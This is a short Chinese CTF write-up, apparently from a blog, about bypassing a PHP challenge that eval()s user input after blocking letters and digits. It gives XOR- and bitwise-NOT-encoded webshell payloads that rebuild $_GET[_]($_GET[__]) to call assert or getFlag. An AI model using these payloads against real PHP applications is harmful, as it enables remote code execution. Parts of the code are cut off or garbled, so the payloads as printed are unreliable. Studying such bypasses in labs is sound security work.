本文共 950 字,大约阅读时间需要 3 分钟。
index.php: 40){ //检测字符长度 die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字 die("NO."); } @eval($code); //$code的值要为非字母和数字}else{ highlight_file(__FILE__);}//$hint = "php function getFlag() to get flag";?>
flag.php:
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
websell:
$_="`{ { {"^"?<>/";${ $_}[_](${ $_}[__]);&_=getFlag $_="`{ { {"^"?<>/"; //_GET${ $_}[_](${ $_}[__]); //$_GET[_]($_GET[__])&_=getFlag //执行函数 eval("getFlag(null)")
webshell:$_="`{ { {"^"?<>/";${ $_}[_](${ $_}[__]);&_=assert&__=phpinfo()
如果在加上不能有&_字符呢?
只要eval函数执行了“getFlag()”字符串即可,那么绕过正则匹配即可:
把getFlag取反然后URL编码:
这里为什么正则没有检测到,因为后端自动进行了解码,解码为非字母和数字字符,而eval执行了取反还原为getFlag字符。 既然可以利用取反~进行编码绕过正则检测,那么也可以取反编码GET、_POST。?code= = _=~%98%9A%8B%B9%93%9E%98; = _();
参考链接 :https://blog.csdn.net/a15803617402/article/details/83589181